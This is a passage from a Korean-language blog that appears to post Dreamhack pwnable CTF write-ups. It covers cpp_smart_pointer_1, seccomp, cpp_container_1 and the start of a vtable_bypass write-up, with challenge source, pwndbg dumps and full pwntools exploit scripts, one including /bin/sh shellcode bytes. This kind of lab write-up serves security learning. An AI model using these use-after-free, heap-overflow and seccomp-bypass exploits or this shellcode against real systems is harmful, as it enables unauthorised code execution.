alarm_handler); alarm(30); } void print_menu(){ std::cout \u0026lt;\u0026lt; \u0026#34;smart pointer system!\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;1. change smart pointer\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;2. delete smart pointer\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;3. test smart pointer\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;4. write guest book\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;5. view guest book\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;6. exit system\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;[*] select : \u0026#34;; } void write_guestbook(){ std::string data; std::cout \u0026lt;\u0026lt; \u0026#34;write guestbook : \u0026#34;; std::cin \u0026gt;\u0026gt; data; guest_book = (char *)malloc(data.length() + 1); strcpy(guest_book, data.c_str()); } void view_guestbook(){ std::cout \u0026lt;\u0026lt; \u0026#34;guestbook data: \u0026#34;; std::cout \u0026lt;\u0026lt; guest_book \u0026lt;\u0026lt; std::endl; } void apple(){ std::cout \u0026lt;\u0026lt; \u0026#34;Hi im apple!\u0026#34; \u0026lt;\u0026lt; std::endl; } void banana(){ std::cout \u0026lt;\u0026lt; \u0026#34;Hi im banana!\u0026#34; \u0026lt;\u0026lt; std::endl; } void mango(){ std::cout \u0026lt;\u0026lt; \u0026#34;Hi im mango!\u0026#34; \u0026lt;\u0026lt; std::endl; } void getshell(){ std::cout \u0026lt;\u0026lt; \u0026#34;Hi im shell!\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;what? shell?\u0026#34; \u0026lt;\u0026lt; std::endl; system(\u0026#34;/bin/sh\u0026#34;); } class Smart{ public: Smart(){ fp = apple; } Smart(const Smart\u0026amp;){ } void change_function(int select){ if(select == 1){ fp = apple; } else if(select == 2){ fp = banana; } else if(select == 3){ fp = mango; } else { fp = apple; } } void (*fp)(void); }; void change_pointer(std::shared_ptr\u0026lt;Smart\u0026gt; first){ int selector = 0; std::cout \u0026lt;\u0026lt; \u0026#34;1. apple\\n2. banana\\n3. mango\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;select function for smart pointer: \u0026#34;; std::cin \u0026gt;\u0026gt; selector; (*first).change_function(selector); std::cout \u0026lt;\u0026lt; std::endl; } int main(){ initialize(); int selector = 0; Smart *smart = new Smart(); std::shared_ptr\u0026lt;Smart\u0026gt; src_ptr(smart); std::shared_ptr\u0026lt;Smart\u0026gt; new_ptr(smart); while(1){ print_menu(); std::cin \u0026gt;\u0026gt; selector; switch(selector){ case 1: std::cout \u0026lt;\u0026lt; \u0026#34;Select pointer(1, 2): \u0026#34;; std::cin \u0026gt;\u0026gt; selector; if(selector == 1){ change_pointer(src_ptr); } else if(selector == 2){ change_pointer(new_ptr); } break; case 2: std::cout \u0026lt;\u0026lt; \u0026#34;Select pointer(1, 2): \u0026#34;; std::cin \u0026gt;\u0026gt; selector; if(selector == 1){ src_ptr.reset(); } else if(selector == 2){ new_ptr.reset(); } break; case 3: std::cout \u0026lt;\u0026lt; \u0026#34;Select pointer(1, 2): \u0026#34;; std::cin \u0026gt;\u0026gt; selector; if(selector == 1){ (*src_ptr).fp(); } else if(selector == 2){ (*new_ptr).fp(); } break; case 4: write_guestbook(); break; case 5: view_guestbook(); break; case 6: return 0; break; default: break; } } } main함수에서 좀 중요하게 볼 부분이 있다.\nSmart *smart = new Smart(); std::shared_ptr\u0026lt;Smart\u0026gt; src_ptr(smart); std::shared_ptr\u0026lt;Smart\u0026gt; new_ptr(smart); 위 코드 부분인데, Smart 클래스를 smart에 할당한 다음 std::shared_ptr\u0026lt;Smart\u0026gt;를 이용해 src_ptr와 new_ptr에 복사한다. 이때 객체를 새롭게 할당 한 것이 아니라, shallow copy가 일어난다.\n각 옵션별 기능을 살펴보자.\n1번으로 Smart 클래스의 fp의 값을 각 과일별로 바꿀 수 있다. 2번을 통해 .reset()을 통해 해당 객체를 해제한다. 3번을 통해 src_ptr과 new_ptr중 하나를 설정하고 해당 객체의 fp가 가지고 있는 포인터 주소를 실행한다. 4번을 통해서 guest_book 전역 변수에 값을 쓴다. 5번 항목을 통해서 guest_book의 내용을 볼 수 있다.\n우선 코드에서 익스플로잇을 트리거 할 수 있는 부분은 case 3번의 fp포인터를 실행하는 부분인 것 같다. 그러면 fp의 값을 바꿀 방법을 생각해야 한다.\nmain함수 초반 부분에서 src_ptr과 new_ptr에 객체를 생성할 때 shallow copy가 발생했다. 그리고 case 2를 통해서 각각의 ptr을 해제할 수 있다. 그럼 UAF와 Double Free 버그를 생각해 볼 수 있다.\n우선 Double Free를 이용해 fp를 조작하려고 했지만 heap 영역 메모리 주소 릭이 안되는 상황이라 성공하지 못했다. 따라서 UAF를 통해 문제를 풀 수 있었다.\n시나리오를 짜보자.\nsrc_ptr, new_ptr 둘중 아무거나 상관없다. 나는 new_ptr을 해제할 것이다. 그러면 Smart smart 클래스의 객체가 free되게 되는데 free된 상태의 메모리 주소를 shallow copy로 인해 src_ptr이 가리키고 있게 된다.\n이후 write_guestbook에서 memory allocating이 가능하기 때문에 fastbin 규칙으로 해제되었던 부분에 메모리 할당이 가능하다. 이를 통해서 fp부분을 get_shell() 함수 주소로 덮으면 공격에 성공한다.\n우선 new_ptr을 해제하고 bin을 살펴보자\npwndbg\u0026gt; bin fastbins 0x20: 0xc2bc50 —▸ 0xc2bc10 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty 0xc2bc10는 원래 Smart의 fp가 들어있던 부분이였다. new_ptr이 해제되면서 같이 free가 되고 fastbin에 예약되어 있다. src_ptr과 new_ptr의 fp는 같은 곳을 가리키기 때문에 이 시점의 src_ptr은 해제된 위치인 0xc2bc10를 가리키고 있다.\n이제 두번의 write_guestbook를 진행하고 메모리 주소를 살펴보자.\npwndbg\u0026gt; x/32gx 0xc2bc10 0xc2bc10: 0x0000000000000000 0x0000000000000021 0xc2bc20: 0x000000000040161d 0x0000000000000000 0xc2bc30: 0x0000000000000000 0x0000000000000021 0xc2bc40: 0x0000000000402300 0x0000000100000001 0xc2bc50: 0x0000000000c2bc20 0x0000000000000021 0xc2bc60: 0x000000000040161d 0x0000000000000000 0xc2bc70: 0x0000000000c2bc20 0x0000000000020391 0xc2bc80: 0x0000000000000000 0x0000000000000000 0xc2bc90: 0x0000000000000000 0x0000000000000000 0xc2bca0: 0x0000000000000000 0x0000000000000000 0xc2bcb0: 0x0000000000000000 0x0000000000000000 0xc2bcc0: 0x0000000000000000 0x0000000000000000 0xc2bcd0: 0x0000000000000000 0x0000000000000000 0xc2bce0: 0x0000000000000000 0x0000000000000000 0xc2bcf0: 0x0000000000000000 0x0000000000000000 0xc2bd00: 0x0000000000000000 0x0000000000000000 0xc2bc10의 데이터 영역을 보면 get_shell() 함수의 주소인 0x000000000040161d가 정상적으로 들어갔다. 이후 case 3에서 fp를 호출하면 0xc2bc10의 데이터 영역인 0xc2bc20의 포인터 값인 0x40161d가 실행되어 쉘을 획득 할 수 있다.\n아래는 최종적으로 나온 익스플로잇 코드다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; #p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 21727); #p = process(\u0026#34;./iofile_vtable_check\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) p = process(\u0026#34;./cpp_smart_pointer_1\u0026#34;) elf = ELF(\u0026#34;./cpp_smart_pointer_1\u0026#34;) #libc = ELF(\u0026#34;./libc.so.6\u0026#34;) get_shell = 0x40161d p.sendlineafter(b\u0026#34;[*] select : \u0026#34;, b\u0026#34;2\u0026#34;) p.sendlineafter(b\u0026#34;Select pointer(1, 2): \u0026#34;, b\u0026#34;2\u0026#34;) p.sendlineafter(b\u0026#34;[*] select : \u0026#34;, b\u0026#34;4\u0026#34;) p.sendlineafter(b\u0026#34;write guestbook : \u0026#34;, p64(get_shell)) p.sendlineafter(b\u0026#34;[*] select : \u0026#34;, b\u0026#34;4\u0026#34;) p.sendlineafter(b\u0026#34;write guestbook : \u0026#34;, p64(get_shell)) p.sendlineafter(b\u0026#34;[*] select : \u0026#34;, b\u0026#34;3\u0026#34;) p.sendlineafter(b\u0026#34;Select pointer(1, 2): \u0026#34;, b\u0026#34;1\u0026#34;) p.interactive() ","permalink":"https://dig06161.github.io/2023/04/04/dreamhack-cpp_smart_pointer_1/","summary":"드림핵 포너블 cpp_smart_pointer_1 문제풀이","title":"[Dreamhack] PWN cpp_smart_pointer_1"},{"content":"이번 문제는 리눅스 샌드박스 기능인 seccomp 문제다. seccomp는 리눅스 커널에서 특정 system call를 필터링 하는 기능이다. 특정 함수를 사용하지 못하게 막거나 특정 함수만 사용할 수 있도록 제한하는 기능을 제공한다.\n간단하게 설명하겠다. seccomp는 두가지 모드가 있다. STRICT_MODE 와 FILTER_MODE가 있는데 STRICT_MODE는 read, write, exit, sigreturn system call만 허용한다. FILTER_MODE는 개발자가 특정 함수에 대한 필터를 구성해 allow list 또는 deny list방식으로 운용이 가능하다.\n일단 문제의 소스코드를 살펴보자.\n// gcc -o seccomp seccomp.cq #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;stddef.h\u0026gt; #include \u0026lt;sys/prctl.h\u0026gt; #include \u0026lt;linux/seccomp.h\u0026gt; #include \u0026lt;linux/filter.h\u0026gt; #include \u0026lt;linux/unistd.h\u0026gt; #include \u0026lt;linux/audit.h\u0026gt; #include \u0026lt;sys/mman.h\u0026gt; int mode = SECCOMP_MODE_STRICT; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int syscall_filter() { #define syscall_nr (offsetof(struct seccomp_data, nr)) #define arch_nr (offsetof(struct seccomp_data, arch)) /* architecture x86_64 */ #define REG_SYSCALL REG_RAX #define ARCH_NR AUDIT_ARCH_X86_64 struct sock_filter filter[] = { /* Validate architecture. */ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), /* Get system call number. */ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr), }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), .filter = filter, }; if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) { perror(\u0026#34;prctl(PR_SET_NO_NEW_PRIVS)\\n\u0026#34;); return -1; } if ( prctl(PR_SET_SECCOMP, mode, \u0026amp;prog) == -1 ) { perror(\u0026#34;Seccomp filter error\\n\u0026#34;); return -1; } return 0; } int main(int argc, char* argv[]) { void (*sc)(); unsigned char *shellcode; int cnt = 0; int idx; long addr; long value; initialize(); shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); while(1) { printf(\u0026#34;1. Read shellcode\\n\u0026#34;); printf(\u0026#34;2. Execute shellcode\\n\u0026#34;); printf(\u0026#34;3. Write address\\n\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;idx); switch(idx) { case 1: if(cnt != 0) { exit(0); } syscall_filter(); printf(\u0026#34;shellcode: \u0026#34;); read(0, shellcode, 1024); cnt++; break; case 2: sc = (void *)shellcode; sc(); break; case 3: printf(\u0026#34;addr: \u0026#34;); scanf(\u0026#34;%ld\u0026#34;, \u0026amp;addr); printf(\u0026#34;value: \u0026#34;); scanf(\u0026#34;%ld\u0026#34;, addr); break; default: break; } } return 0; } 처음 문제를 보고 FILTER_MODE가 적용된줄 알았다. 그러나 맨 위에 mode 변수를 보면 STRICT_MODE가 설정되어 있다. 함수 필터에 아무런 필터를 구성하지 않고 해당 필터를 STRICT_MODE로 적용한 것이다. 이렇게 되면 read, write, exit, sigreturn system call만 사용할 수 있다.\n이 모드를 못보고 계속 AND 연산 하면서 뻘짓을 했었다.\nmain함수를 살펴보면 case 1번에서 필터 설정을 진행하고 쉘코드를 입력 받는다. case 2를 통해 입력받은 쉘 코드를 실행하고 case 3을 이용하면 원하는 주소의 값을 바꿀 수 있다.\n익스플로잇을 구상해보면 case 1번이 실행되기 전에 case 3을 통해서 mode 변수의 내용을 FILTER_MODE로 바꾸면 쉽게 쉘코드를 실행 할 수 있을 것 같다.\ngdb를 통해 해당 주소의 내용을 확인해 보면 다음과 같다.\npwndbg\u0026gt; x/x \u0026amp;mode 0x602090 \u0026lt;mode\u0026gt;: 0x00000001 STRICT_MODE는 1, FILTER_MODE는 2이다. 따라서 해당 주소의 값을 2로 바꾸고 아무 쉘코드를 실행하면 플래그를 얻을 수 있다.\n익스플로잇 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; #p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 16715); #p = process(\u0026#34;./iofile_vtable_check\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) p = process(\u0026#34;./seccomp\u0026#34;) #elf = ELF(\u0026#34;./cpp_container_1\u0026#34;) #libc = ELF(\u0026#34;./libc.so.6\u0026#34;) mode = 0x602090 shell = b\u0026#34;\\x48\\x31\\xc9\\x48\\xf7\\xe1\\x04\\x3b\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x52\\x53\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05\u0026#34; p.sendlineafter(\u0026#34;\u0026gt; \u0026#34;, \u0026#34;3\u0026#34;) p.sendlineafter(\u0026#34;addr: \u0026#34;, str(mode)) p.sendlineafter(\u0026#34;value: \u0026#34;, \u0026#34;2\u0026#34;) p.sendlineafter(\u0026#34;\u0026gt; \u0026#34;, \u0026#34;1\u0026#34;) p.sendafter(\u0026#34;shellcode: \u0026#34;, shell) p.sendlineafter(\u0026#34;\u0026gt; \u0026#34;, \u0026#34;2\u0026#34;) p.interactive() ","permalink":"https://dig06161.github.io/2023/03/24/dreamhack-pwn-seccomp/","summary":"드림핵 포너블 seccomp 문제풀이","title":"[Dreamhack] PWN seccomp"},{"content":"level3 문제이다. 난이도가 있을 줄 알고 이것저것 삽질을 좀 했는데 생각보다 어이없게 풀린 문제다. 우선 C++의 vactor 컨테이너에서 발생하는 메모리 커럽션을 이용해 문제를 풀어야 한다.\n우선 소스코드를 먼저 살펴보자.\n// g++ -o pwn-container-overflow-1 pwn-container-overflow-1.cpp -no-pie #include \u0026lt;iostream\u0026gt; #include \u0026lt;vector\u0026gt; #include \u0026lt;cstdlib\u0026gt; #include \u0026lt;csignal\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;cstdio\u0026gt; void alarm_handler(int trash) { std::cout \u0026lt;\u0026lt; \u0026#34;TIME OUT\u0026#34; \u0026lt;\u0026lt; std::endl; exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void print_menu(){ std::cout \u0026lt;\u0026lt; \u0026#34;container system!\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;1. make container\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;2. modify container\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;3. copy container\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;4. view container\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;5. exit system\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;[*] select menu: \u0026#34;; } class Menu{ public: Menu(){ } Menu(const Menu\u0026amp;){ } void (*fp)(void) = print_menu; }; void getshell(){ system(\u0026#34;/bin/sh\u0026#34;); } void make_container(std::vector\u0026lt;int\u0026gt; \u0026amp;src, std::vector\u0026lt;int\u0026gt; \u0026amp;dest){ std::cout \u0026lt;\u0026lt; \u0026#34;Input container1 data\u0026#34; \u0026lt;\u0026lt; std::endl; int data = 0; for(std::vector\u0026lt;int\u0026gt;::iterator iter = src.begin(); iter != src.end(); iter++){ std::cout \u0026lt;\u0026lt; \u0026#34;input: \u0026#34;; std::cin \u0026gt;\u0026gt; data; *iter = data; } std::cout \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;Input container2 data\u0026#34; \u0026lt;\u0026lt; std::endl; for(std::vector\u0026lt;int\u0026gt;::iterator iter = dest.begin(); iter != dest.end(); iter++){ std::cout \u0026lt;\u0026lt; \u0026#34;input: \u0026#34;; std::cin \u0026gt;\u0026gt; data; *iter = data; } std::cout \u0026lt;\u0026lt; std::endl; } void modify_container(std::vector\u0026lt;int\u0026gt; \u0026amp;src, std::vector\u0026lt;int\u0026gt; \u0026amp;dest){ int size = 0; std::cout \u0026lt;\u0026lt; \u0026#34;Input container1 size\u0026#34; \u0026lt;\u0026lt; std::endl; std::cin \u0026gt;\u0026gt; size; src.resize(size); std::cout \u0026lt;\u0026lt; \u0026#34;Input container2 size\u0026#34; \u0026lt;\u0026lt; std::endl; std::cin \u0026gt;\u0026gt; size; dest.resize(size); } void copy_container(std::vector\u0026lt;int\u0026gt; \u0026amp;src, std::vector\u0026lt;int\u0026gt; \u0026amp;dest){ std::copy(src.begin(), src.end(), dest.begin()); std::cout \u0026lt;\u0026lt; \u0026#34;copy complete!\u0026#34; \u0026lt;\u0026lt; std::endl; } void view_container(std::vector\u0026lt;int\u0026gt; \u0026amp;src, std::vector\u0026lt;int\u0026gt; \u0026amp;dest){ std::cout \u0026lt;\u0026lt; \u0026#34;container1 data: [\u0026#34;; for(std::vector\u0026lt;int\u0026gt;::iterator iter = src.begin(); iter != src.end(); iter++){ std::cout \u0026lt;\u0026lt; *iter \u0026lt;\u0026lt; \u0026#34;, \u0026#34;; } std::cout \u0026lt;\u0026lt; \u0026#34;]\u0026#34; \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;container2 data: [\u0026#34;; for(std::vector\u0026lt;int\u0026gt;::iterator iter = dest.begin(); iter != dest.end(); iter++){ std::cout \u0026lt;\u0026lt; *iter \u0026lt;\u0026lt; \u0026#34;, \u0026#34;; } std::cout \u0026lt;\u0026lt; \u0026#34;]\u0026#34; \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34; \u0026lt;\u0026lt; std::endl; } int main(){ initialize(); std::vector\u0026lt;int\u0026gt; src(3, 0); std::vector\u0026lt;int\u0026gt; dest(3, 0); Menu *menu = new Menu(); int selector = 0; while(1){ menu-\u0026gt;fp(); std::cin \u0026gt;\u0026gt; selector; switch(selector){ case 1: make_container(src, dest); break; case 2: modify_container(src, dest); break; case 3: copy_container(src, dest); break; case 4: view_container(src, dest); break; case 5: return 0; break; default: break; } } } 코드를 살펴보면 4가지 기능이 있다. 1번은 설정된 길이만큼 데이터를 입력 받는다. 2번으로 컨테이너 사이즈를 변경한다. 3번을 통해서 1번 컨테이너 값을 2번 컨테이너로 복사한다. 4번을 통해 컨테이너 내용을 출력한다.\n여기서 중점으로 봐야할 부분은 copy_container 부분이다. 컨테이서를 복사하게 되는데 사이즈에 대한 검증이 따로 없는 것을 확인 할 수 있다. 따라서 바이너리를 실행 시키고 1번 컨테이너 크기를 큰 값으로, 2번 컨테이너를 1로 주어 copy를 시도하면 크래쉬가 발생한다.\nroot@9f72a2a108e4:/home# ./cpp_container_1 container system! 1. make container 2. modify container 3. copy container 4. view container 5. exit system [*] select menu: 2 Input container1 size 100 Input container2 size 1 container system! 1. make container 2. modify container 3. copy container 4. view container 5. exit system [*] select menu: 3 copy complete! Segmentation fault (core dumped) Segmentation fault가 발생하는 부분을 gdb를 통해 따라가 보자.\n1번 컨테이너 크기는 10, 2번 컨테이너는 1를 주고 3번 메뉴를 통해 copy를 시도한다. 오류가 발생하는 부분은 copy_container 함수가 끝나고 main에서 발생한다.\nmenu-\u0026gt;fp(); 0040154c 48 8b 45 a8 MOV RAX,qword ptr [RBP + local_60] 00401550 48 8b 00 MOV RAX,qword ptr [RAX] 00401553 ff d0 CALL RAX 위 부분에서 문제가 발생하며 어셈블리에는 RAX를 CALL 하는 부분이다. 이 부분에 bp를 걸고 살펴보자.\nRAX 0x900000009 RBX 0x2500c60 ◂— 0x900000009 /* \u0026#39;\\t\u0026#39; */ RCX 0x0 RDX 0x0 RDI 0x7f7eefa0d620 (_IO_2_1_stdout_) ◂— 0xfbad2887 RSI 0x7f7eefa0e780 (_IO_stdfile_1_lock) ◂— 0x0 R8 0x7f7eefa0e780 (_IO_stdfile_1_lock) ◂— 0x0 R9 0x7f7ef01c2740 ◂— 0x7f7ef01c2740 R10 0x1 R11 0x246 R12 0x400e00 (_start) ◂— xor ebp, ebp R13 0x7ffdd3544370 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7ffdd3544290 —▸ 0x402b40 (__libc_csu_init) ◂— push r15 RSP 0x7ffdd3544230 ◂— 0x300000470 *RIP 0x401553 (main+174) ◂— call rax ───────────────[ DISASM / x86-64 / set emulate on ]─────────────── 0x40154c \u0026lt;main+167\u0026gt; mov rax, qword ptr [rbp - 0x58] 0x401550 \u0026lt;main+171\u0026gt; mov rax, qword ptr [rax] ► 0x401553 \u0026lt;main+174\u0026gt; call rax \u0026lt;0x900000009\u0026gt; 0x401555 \u0026lt;main+176\u0026gt; lea rax, [rbp - 0x5c] 0x401559 \u0026lt;main+180\u0026gt; mov rsi, rax 0x40155c \u0026lt;main+183\u0026gt; mov edi, std::cin@@GLIBCXX_3.4 \u0026lt;0x604100\u0026gt; 0x401561 \u0026lt;main+188\u0026gt; call std::istream::operator\u0026gt;\u0026gt;(int\u0026amp;)@plt \u0026lt;std::istream::operator\u0026gt;\u0026gt;(int\u0026amp;)@plt\u0026gt; 0x401566 \u0026lt;main+193\u0026gt; mov eax, dword ptr [rbp - 0x5c] 0x401569 \u0026lt;main+196\u0026gt; cmp eax, 5 0x40156c \u0026lt;main+199\u0026gt; ja main+316 \u0026lt;main+316\u0026gt; 0x40156e \u0026lt;main+201\u0026gt; mov eax, eax ───────────────[ STACK ]─────────────── 00:0000│ rsp 0x7ffdd3544230 ◂— 0x300000470 01:0008│ 0x7ffdd3544238 —▸ 0x2500c60 ◂— 0x900000009 /* \u0026#39;\\t\u0026#39; */ 02:0010│ 0x7ffdd3544240 —▸ 0x2500c80 ◂— 0x900000009 /* \u0026#39;\\t\u0026#39; */ 03:0018│ 0x7ffdd3544248 —▸ 0x2500ca8 ◂— 0x20361 04:0020│ 0x7ffdd3544250 —▸ 0x2500ca8 ◂— 0x20361 05:0028│ 0x7ffdd3544258 —▸ 0x402b8d (__libc_csu_init+77) ◂— add rbx, 1 06:0030│ 0x7ffdd3544260 —▸ 0x2500c40 ◂— 0x900000009 /* \u0026#39;\\t\u0026#39; */ 07:0038│ 0x7ffdd3544268 —▸ 0x2500c44 ◂— 0x900000009 /* \u0026#39;\\t\u0026#39; */ ───────────────[ BACKTRACE ]─────────────── ► f 0 0x401553 main+174 f 1 0x7f7eef668840 __libc_start_main+240 f 2 0x400e29 _start+41 ───────────────────────────────────────────── 위 내용을 보면 rax를 call 할때의 rax 값은 0x900000009인 것을 볼 수 있다. 필자가 입력한 9가 들어가 있다. 따라서 힙의 거리를 계산해 해당 힙의 오프셋 만큼 get_shell 주소로 덮으면 쉘을 얻을 수 있을 것 같다.\n이 부분이 어떤 값이 원래 있었는지 찾아보니 메뉴를 프린트 해주는 함수 부분이다. 이때 copy를 통해서 heap overflow가 발생하고 print_menu 함수의 주소를 get_shell() 함수 주소로 덮어 뜨면 공격에 성공한다.\n오프셋을 계산하면 9만큼 떨어져 있으며 get_shell 함수 주소를 int 형식으로 주었다. 익스플로잇 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; #p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 18225); #p = process(\u0026#34;./iofile_vtable_check\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) p = process(\u0026#34;./cpp_container_1\u0026#34;) elf = ELF(\u0026#34;./cpp_container_1\u0026#34;) #libc = ELF(\u0026#34;./libc.so.6\u0026#34;) get_shell = 0x401041 p.sendlineafter(b\u0026#34;[*] select menu: \u0026#34;, b\u0026#34;2\u0026#34;) p.sendlineafter(b\u0026#34;Input container1 size\\n\u0026#34;, b\u0026#34;9\u0026#34;) p.sendlineafter(b\u0026#34;Input container2 size\\n\u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;[*] select menu: \u0026#34;, b\u0026#34;1\u0026#34;) for i in range(1, 11): p.sendlineafter(b\u0026#34;input: \u0026#34;, str(get_shell)) p.sendlineafter(b\u0026#34;[*] select menu: \u0026#34;, b\u0026#34;3\u0026#34;) p.interactive() 정말 무작정 이것저것 해보다가 답이 없어서 하나하나씩 디버깅 하다가 찾았다. 생각보다 어이없이 풀렸던 재밌는 문제였다.\n","permalink":"https://dig06161.github.io/2023/03/23/dreamhack-pwn-cpp_container_1/","summary":"드림핵 포너블 cpp_container_1 문제풀이","title":"[Dreamhack] PWN cpp_container_1"},{"content":"이번 문제는 저번에 올라왔던 iofile_vtable에서 vtable_check 함수가 추가된 ubuntu 18.04 문제다. 이 함수는 _libc_IO_vtables 영역에 vtable이 존재하는지 확인하고 없다면 포인터를 추가로 확인한다. 따라서 iofile_vtable을 통해 익스플로잇 하기 위해서는 _libc_IO_vtables 영역에 있는 익스플로잇터플 한 함수를 사용해야 한다.\n우선 소스코드를 먼저 살펴보자.\n// gcc -o vtable_bypass vtable_bypass.c -no-pie #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;dlfcn.h\u0026gt; FILE * fp; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int main() { initialize(); fp = fopen(\u0026#34;/dev/urandom\u0026#34;, \u0026#34;r\u0026#34;); printf(\u0026#34;stdout: %p\\n\u0026#34;, stdout); printf(\u0026#34;Data: \u0026#34;); read(0, fp, 300); if (*(long*)((char*) fp + 0xe0) != 0) { exit(0); } fclose(fp); } main함수를 보면 fp 값을 dev/urandom 읽기 권한으로 할당한다. 이후 stdout의 주소값을 출력하고 read 함수를 통해 fp에 300자 문자열을 입력 받는다. 이후 입력받은 문자열중 0xe0위치에 있는 8바이트 값이 0이 아니면 exit함수가 동작하고 0이면 fp를 인자로 하여 fclose를 호출하고 코드가 종료한다.\n우선 stdout의 주소가 주어지므로 이를 통해 libc base와 system함수, binsh같은 필요한 함수들을 전부 찾아준다.\n일단 read함수를 통해서 300자를 받아드릴 수 있어 vtable 위치 이상의 값을 오버라이트 할 수 있다.\n이제 vtable을 조작해야 한다. vtable_check 함수가 있어 단순히 메모리 주소를 vtable로 할당하는 방법은 사용하지 못할 것이다. 해당 기법을 우회하기 위해 드림핵 강의를 다시 살펴보자. 드림핵에서는 _IO_str_jumps함수에 있는 _IO_str_overflow를 이용해 공격하는 방법이 설명되어 있다.\n우선 _IO_str_jumps 구조체를 보자\nconst struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; 이 기법은 다음과 같은 구문을 통해 발생하는 취약점이다. new_buf = (char *) (*((_IO_strfile *) 